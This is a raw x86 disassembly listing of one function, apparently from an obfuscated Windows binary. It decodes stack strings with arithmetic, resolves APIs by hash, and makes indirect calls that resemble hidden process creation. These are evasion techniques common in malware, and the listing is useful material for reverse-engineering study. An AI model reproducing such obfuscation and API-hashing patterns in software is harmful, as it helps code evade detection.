jne 0x413df1
mov ecx, eax
mov dword [esp], ecx
call fcn.00408bd0
mov dword [esp + 0x38], eax
mov al, byte [esp + 0x168]
mov byte [esp + 0x218], al
mov byte [esp + 0x6a], 0x29
mov byte [esp + 0x6b], 0xc
mov byte [esp + 0x6c], 0xd
mov byte [esp + 0x6d], 0xe
xor eax, eax
cmp eax, 4
jae 0x413e53
mov dl, byte [esp + eax + 0x6a]
mov esi, eax
add esi, 0x13
mov ecx, 0x6c
sub ecx, eax
and ecx, 0xe8
and esi, 0x17
or ecx, esi
xor cl, dl
xor cl, 0x17
mov dl, 0x67
sub dl, cl
mov byte [esp + eax + 0x6a], dl
add eax, 1
jmp 0x413e21
mov al, byte [esp + 0x164]
mov byte [esp + 0x21c], al
mov byte [esp + 0x11a], 4
mov byte [esp + 0x11b], 0xb5
mov byte [esp + 0x11c], 0x19
mov byte [esp + 0x11d], 0xb7
mov byte [esp + 0x11e], 0xf
mov byte [esp + 0x11f], 0xb9
mov byte [esp + 0x120], 0x1f
mov byte [esp + 0x121], 0xbb
mov byte [esp + 0x122], 0xe
mov byte [esp + 0x123], 0xbd
mov byte [esp + 0x124], 0xd
mov byte [esp + 0x125], 0xbf
mov byte [esp + 0x126], 0x28
mov byte [esp + 0x127], 0x81
mov byte [esp + 0x128], 0x27
mov byte [esp + 0x129], 0x83
mov byte [esp + 0x12a], 0x28
mov byte [esp + 0x12b], 0x85
mov byte [esp + 0x12c], 0x2a
mov byte [esp + 0x12d], 0x87
mov byte [esp + 0x12e], 0xe8
mov byte [esp + 0x12f], 0x89
mov byte [esp + 0x130], 0xe7
mov byte [esp + 0x131], 0x8b
mov byte [esp + 0x132], 0x29
mov byte [esp + 0x133], 0x8d
mov byte [esp + 0x134], 0x36
mov byte [esp + 0x135], 0x8f
mov byte [esp + 0x136], 0x35
mov byte [esp + 0x137], 0x91
mov byte [esp + 0x138], 0x31
mov byte [esp + 0x139], 0x93
mov byte [esp + 0x13a], 0xf4
mov byte [esp + 0x13b], 0x95
mov byte [esp + 0x13c], 0x34
mov byte [esp + 0x13d], 0x97
mov byte [esp + 0x13e], 0x21
mov byte [esp + 0x13f], 0x99
mov byte [esp + 0x140], 0x2a
mov byte [esp + 0x141], 0x9b
mov byte [esp + 0x142], 0x3d
mov byte [esp + 0x143], 0x9d
mov byte [esp + 0x144], 0x2d
mov byte [esp + 0x145], 0x9f
mov byte [esp + 0x146], 0x53
mov byte [esp + 0x147], 0xe1
mov byte [esp + 0x148], 0x82
mov byte [esp + 0x149], 0xe3
mov byte [esp + 0x14a], 0x89
mov byte [esp + 0x14b], 0xe5
mov byte [esp + 0x14c], 0x40
mov byte [esp + 0x14d], 0xe7
mov byte [esp + 0x14e], 0x88
mov byte [esp + 0x14f], 0xe9
mov byte [esp + 0x150], 0x88
mov byte [esp + 0x151], 0xeb
mov byte [esp + 0x152], 0xec
mov byte [esp + 0x153], 0xed
xor eax, eax
cmp eax, 0x3a
jae 0x414095
movzx edx, byte [esp + eax + 0x11a]
mov edi, eax
add edi, 0xe7020114
mov esi, edx
shl esi, 1
xor esi, 0xffffffff
add esi, edx
mov ecx, edx
and ecx, 0xda
and esi, 0x25
or ecx, esi
xor ecx, edx
xor ecx, 0x25
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
mov esi, ecx
xor esi, 0xffffffff
or edi, esi
add ecx, edi
xor edx, 0xffffffff
mov esi, eax
add esi, 0x14
or esi, edx
mov edx, ecx
add edx, 1
or edx, esi
sub ecx, edx
add cl, 0x60
mov byte [esp + eax + 0x11a], cl
add eax, 1
jmp 0x414033
lea eax, [esp + 0x11a]
mov ecx, dword [esp + 0x38]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a900
mov dword [esp], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
call fcn.0040a900
lea ecx, [esp + 0x6a]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a900
mov dword [esp + 0x4c], 2
mov esi, dword [esp + 0x30]
xor eax, eax
cmp eax, 0
je 0x4143c7
jmp 0x414ae5
xor edi, 1
mov eax, dword [esp + 0x4c]
xor eax, 2
or edi, eax
sete al
test al, 1
jne 0x414110
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], 0
jmp 0x4143c7
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00414b00
mov ebx, eax
and ebx, 1
or eax, 1
add ebx, eax
mov ecx, 2
mov eax, ebx
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41413e
mov ecx, eax
mov dword [esp], ecx
call fcn.00408bd0
mov edx, dword [esp + 0x34]
xor ecx, ecx
mov dword [esp + 0x24c], eax
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
call fcn.0040b450
mov eax, dword [esp + 0x258]
xor ecx, ecx
sub ecx, eax
mov eax, 0x18
sub eax, ecx
sub eax, 0xa7da61c8
add eax, 1
add eax, 0xa7da61c8
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4141a0
mov ecx, eax
mov ebx, dword [esp + 0x50]
jmp 0x4141a6
mov dword [esp], ecx
call fcn.00408bd0
mov edi, eax
mov al, byte [esp + 0x160]
mov byte [esp + 0x220], al
mov byte [esp + 0xe8], 0x17
mov byte [esp + 0xe9], pe_nt_image_headers32
mov byte [esp + 0xea], 0xe6
mov byte [esp + 0xeb], 0x7a
mov byte [esp + 0xec], 0xec
mov byte [esp + 0xed], 0x7c
mov byte [esp + 0xee], 0xd8
mov byte [esp + 0xef], 0x7e
mov byte [esp + 0xf0], 0xed
mov byte [esp + 0xf1], 0x70
mov byte [esp + 0xf2], 0xe2
mov byte [esp + 0xf3], 0x72
mov byte [esp + 0xf4], 0xeb
mov byte [esp + 0xf5], 0x74
mov byte [esp + 0xf6], 0xd0
mov byte [esp + 0xf7], 0x76
mov byte [esp + 0xf8], 0xeb
mov byte [esp + 0xf9], 0x68
mov byte [esp + 0xfa], 0xf5
mov byte [esp + 0xfb], 0x6a
mov byte [esp + 0xfc], 0x8b
mov byte [esp + 0xfd], 0x6c
mov byte [esp + 0xfe], 0xb0
mov byte [esp + 0xff], 0x6e
mov byte [esp + 0x100], 0xca
mov byte [esp + 0x101], 0x60
mov byte [esp + 0x102], 0xe9
mov byte [esp + 0x103], 0x62
mov byte [esp + 0x104], 0xc6
mov byte [esp + 0x105], 0x64
mov byte [esp + 0x106], 0xc6
mov byte [esp + 0x107], 0x66
mov byte [esp + 0x108], 0x87
mov byte [esp + 0x109], 0x58
mov byte [esp + 0x10a], 0xfb
mov byte [esp + 0x10b], 0x5a
mov byte [esp + 0x10c], 0xd2
mov byte [esp + 0x10d], 0x5c
mov byte [esp + 0x10e], 0xcd
mov byte [esp + 0x10f], 0x5e
mov byte [esp + 0x110], 0xfe
mov byte [esp + 0x111], 0x50
mov byte [esp + 0x112], 0xc2
mov byte [esp + 0x113], 0x52
mov byte [esp + 0x114], 0xc0
mov byte [esp + 0x115], 0x54
mov byte [esp + 0x116], 0xb5
mov byte [esp + 0x117], 0x56
mov byte [esp + 0x118], 0x57
mov byte [esp + 0x119], 0x48
xor eax, eax
cmp eax, 0x32
jae 0x414382
movzx edx, byte [esp + eax + 0xe8]
mov ecx, eax
add ecx, 0xa195a77f
mov esi, ecx
and esi, edx
shl esi, 1
add ecx, edx
sub ecx, esi
mov esi, dword [esp + 0x30]
add cl, 8
mov byte [esp + eax + 0xe8], cl
add eax, 1
jmp 0x414350
lea eax, [esp + 0xe8]
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.0040a900
mov dword [esp], eax
mov eax, dword [esp + 0x24c]
mov dword [esp + 4], eax
call fcn.0040a900
mov eax, dword [esp + 0x24c]
mov dword [esp], eax
call fcn.00408be0
jmp 0x4143b9
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], 0
jmp 0x4143c7
mov ecx, dword [esp + 0x4c]
test ecx, ecx
je 0x4143ec
jmp 0x4143d1
mov eax, ecx
sub eax, 1
je 0x414587
jmp 0x4143de
sub ecx, 2
je 0x414865
jmp 0x414aa8
test byte [esp + 0x5d], 1
jne 0x4143f8
jmp 0x414587
lea eax, [esp + 0x320]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00408d60
mov dword [esp + 0x320], 0x44
mov eax, dword [0x448570]
mov dword [esp], eax
mov dword [esp + 4], 0x755f867b
call fcn.0043dad0
cmp eax, 0
setne cl
test cl, 1
jne 0x414444
test cl, 1
jne 0x41444b
xor eax, eax
xor ecx, ecx
lea ecx, [esp + 0x320]
lea edx, [esp + 0x2cc]
mov edi, dword [esp + 0x2c]
mov dword [esp], edi
mov edi, dword [esp + 0x38]
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
call eax
sub esp, 0x28
jmp 0x4144a9
cmp eax, 0
je 0x414582
mov edi, dword [esp + 0x2cc]
mov al, byte [esp + 0x1c8]
mov byte [esp + 0x234], al
mov byte [esp + 0x8a], 0x64
mov byte [esp + 0x8b], 0x63
mov byte [esp + 0x8c], 0x62
mov byte [esp + 0x8d], 0x61
xor eax, eax
cmp eax, 4
jae 0x41450b
mov cl, byte [esp + eax + 0x8a]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x8a], dl
add eax, 1
jmp 0x4144e9
mov ecx, dword [esp + 0x8a]
xor ebx, ebx
cmp ebx, dword [0x44957c]
jb 0x41451e
jmp 0x41457c
mov eax, dword [0x449580]
cmp dword [eax + ebx*8], 0xb430e561
sete dl
test dl, 1
jne 0x414534
jmp 0x414570
mov eax, dword [eax + ebx*8 + 4]
cmp eax, ecx
je 0x414570
mov dword [esp + 0x278], ecx
mov ecx, dword [0x449584]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], edi
mov byte [esp + 0x55], dl
call fcn.0043c320
mov dl, byte [esp + 0x55]
mov ecx, dword [esp + 0x278]
test dl, 1
je 0x414577
jmp 0x41457c
add ebx, 1
jmp 0x414514
mov ebx, dword [esp + 0x50]
jmp 0x414582
jmp 0x414aa8
mov eax, dword [0x448570]
mov dword [esp], eax
mov dword [esp + 4], 0x4e0c8565
call fcn.0043dad0
test eax, eax
setne cl
mov ecx, dword [esp + 0x34]
xor edx, edx
lea edx, [0x422070]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call eax
sub esp, 0x18
cmp eax, 0
setne cl
test cl, 1
jne 0x4145e9
jmp 0x414860
jmp 0x4145eb
mov dword [esp + 0x250], eax
mov al, byte [esp + 0x15c]
mov byte [esp + 0x224], al
mov byte [esp + 0x9a], 0xa6
mov byte [esp + 0x9b], 0x7d
mov byte [esp + 0x9c], 0xf4
mov byte [esp + 0x9d], 0x95
mov byte [esp + 0x9e], 0xb5
mov byte [esp + 0x9f], 0xb4
mov byte [esp + 0xa0], 0xb3
mov byte [esp + 0xa1], 0xb2
xor eax, eax
cmp eax, 8
jae 0x4146b1
movzx edx, byte [esp + eax + 0x9a]
mov esi, eax
xor esi, 0x705174e9
mov ecx, eax
or ecx, 0x8fae8b16
and ecx, esi
mov esi, eax
and esi, 0x8fae8b16
xor esi, 0xffffffff
mov edi, eax
add edi, 0x8fae8b17
add edi, esi
add ecx, edi
xor ecx, edx
mov edx, ecx
add edx, 0x828ba74f
mov esi, edx
shl esi, 1
and esi, 2
shl edx, 1
and edx, 2
or edx, 0xb0
add ecx, esi
mov esi, dword [esp + 0x30]
sub ecx, edx
mov byte [esp + eax + 0x9a], cl
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
jmp 0x414642
mov eax, dword [esp + 0x9a]
mov ecx, dword [esp + 0x9e]
mov dword [esp + 0x2b4], ecx
mov dword [esp + 0x2b0], eax
mov al, byte [esp + 0x228]
mov byte [esp + 0x22c], al
mov byte [esp + 0x92], 0x64
mov byte [esp + 0x93], 0x63
mov byte [esp + 0x94], 0x62
mov byte [esp + 0x95], 0x61
xor eax, eax
cmp eax, 4
jae 0x41471f
mov cl, byte [esp + eax + 0x92]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x92], dl
add eax, 1
jmp 0x4146fd
mov edi, dword [esp + 0x92]
xor ebx, ebx
cmp ebx, dword [0x44957c]
jb 0x414732
jmp 0x41479e
mov eax, dword [0x449580]
cmp dword [eax + ebx*8], 0xa67d73aa
sete cl
test cl, 1
jne 0x414748
jmp 0x414792
mov eax, dword [eax + ebx*8 + 4]
cmp eax, edi
je 0x414792
mov byte [esp + 0x5a], cl
mov ecx, dword [0x449584]
xor edx, edx
lea edx, [esp + 0x2b0]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xc
mov eax, dword [esp + 0x250]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], edx
call fcn.0043c320
mov cl, byte [esp + 0x5a]
test cl, 1
je 0x414799
jmp 0x41479e
add ebx, 1
jmp 0x414728
mov al, byte [esp + 0x1c4]
mov byte [esp + 0x238], al
mov byte [esp + 0x86], 0x64
mov byte [esp + 0x87], 0x63
mov byte [esp + 0x88], 0x62
mov byte [esp + 0x89], 0x61
xor eax, eax
cmp eax, 4
jae 0x4147f0
mov cl, byte [esp + eax + 0x86]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x86], dl
add eax, 1
jmp 0x4147ce
mov edi, dword [esp + 0x86]
xor ebx, ebx
cmp ebx, dword [0x44957c]
jb 0x414803
jmp 0x41485a
mov eax, dword [0x449580]
cmp dword [eax + ebx*8], 0xb430e561
sete cl
test cl, 1
jne 0x414819
jmp 0x41484e
mov eax, dword [eax + ebx*8 + 4]
cmp eax, edi
je 0x41484e
mov byte [esp + 0x56], cl
mov ecx, dword [0x449584]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esp + 0x250]
mov dword [esp + 0xc], eax
call fcn.0043c320
mov cl, byte [esp + 0x56]
test cl, 1
je 0x414855
jmp 0x41485a
add ebx, 1
jmp 0x4147f9
mov ebx, dword [esp + 0x50]
jmp 0x414860
jmp 0x414aa8
lea eax, [esp + 0x2dc]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00408d60
mov dword [esp + 0x2dc], 0x44
mov eax, dword [0x448570]
mov dword [esp], eax
mov dword [esp + 4], 0x755f867b
call fcn.0043dad0
cmp eax, 0
setne cl
test cl, 1
jne 0x4148b1
test cl, 1
jne 0x4148b8
xor eax, eax
xor ecx, ecx
lea edi, [esp + 0x2dc]
lea edx, [esp + 0x2bc]
mov dword [esp], 0
mov ecx, dword [esp + 0x38]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edx
call eax
sub esp, 0x28
cmp eax, 0
je 0x414aa6
mov edi, dword [esp + 0x2c0]
mov al, byte [esp + 0x1c0]
mov byte [esp + 0x23c], al
mov byte [esp + 0x82], 0x64
mov byte [esp + 0x83], 0x63
mov byte [esp + 0x84], 0x62
mov byte [esp + 0x85], 0x61
xor eax, eax
cmp eax, 4
jae 0x414976
mov cl, byte [esp + eax + 0x82]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x82], dl
add eax, 1
jmp 0x414954
mov ecx, dword [esp + 0x82]
xor ebx, ebx
cmp ebx, dword [0x44957c]
jb 0x414989
jmp 0x4149e7
mov eax, dword [0x449580]
cmp dword [eax + ebx*8], 0xb430e561
sete dl
test dl, 1
jne 0x41499f
jmp 0x4149db
mov eax, dword [eax + ebx*8 + 4]
cmp eax, ecx
je 0x4149db
mov dword [esp + 0x280], ecx
mov ecx, dword [0x449584]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], edi
mov byte [esp + 0x58], dl
call fcn.0043c320
mov dl, byte [esp + 0x58]
mov ecx, dword [esp + 0x280]
test dl, 1
je 0x4149e2
jmp 0x4149e7
add ebx, 1
jmp 0x41497f
mov edi, dword [esp + 0x2bc]
mov al, byte [esp + 0x1bc]
mov byte [esp + 0x240], al
mov byte [esp + 0x7e], 0x64
mov byte [esp + 0x7f], 0x63
mov byte [esp + 0x80], 0x62
mov byte [esp + 0x81], 0x61
xor eax, eax
cmp eax, 4
jae 0x414a34
mov cl, byte [esp + eax + 0x7e]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x7e], dl
add eax, 1
jmp 0x414a18
mov ecx, dword [esp + 0x7e]
xor ebx, ebx
cmp ebx, dword [0x44957c]
jb 0x414a44
jmp 0x414aa2
mov eax, dword [0x449580]
cmp dword [eax + ebx*8], 0xb430e561
sete dl
test dl, 1
jne 0x414a5a
jmp 0x414a96
mov eax, dword [eax + ebx*8 + 4]
cmp eax, ecx
je 0x414a96
mov dword [esp + 0x27c], ecx
mov ecx, dword [0x449584]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], edi
mov byte [esp + 0x57], dl
call fcn.0043c320
mov dl, byte [esp + 0x57]
mov ecx, dword [esp + 0x27c]
test dl, 1
je 0x414a9d
jmp 0x414aa2
add ebx, 1
jmp 0x414a3a
mov ebx, dword [esp + 0x50]
jmp 0x414aa8
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
cmp dword [esp + 0x2c], 0
sete al
test al, 1
jne 0x414ad2
jmp 0x414ac2
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.00408be0
jmp 0x414ad0
jmp 0x414ad2
mov eax, dword [esp + 0x38]
cmp eax, 0
je 0x414ae3
mov dword [esp], eax
call fcn.00408be0
jmp 0x414ae5
add esi, 1
jmp 0x412a7c
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret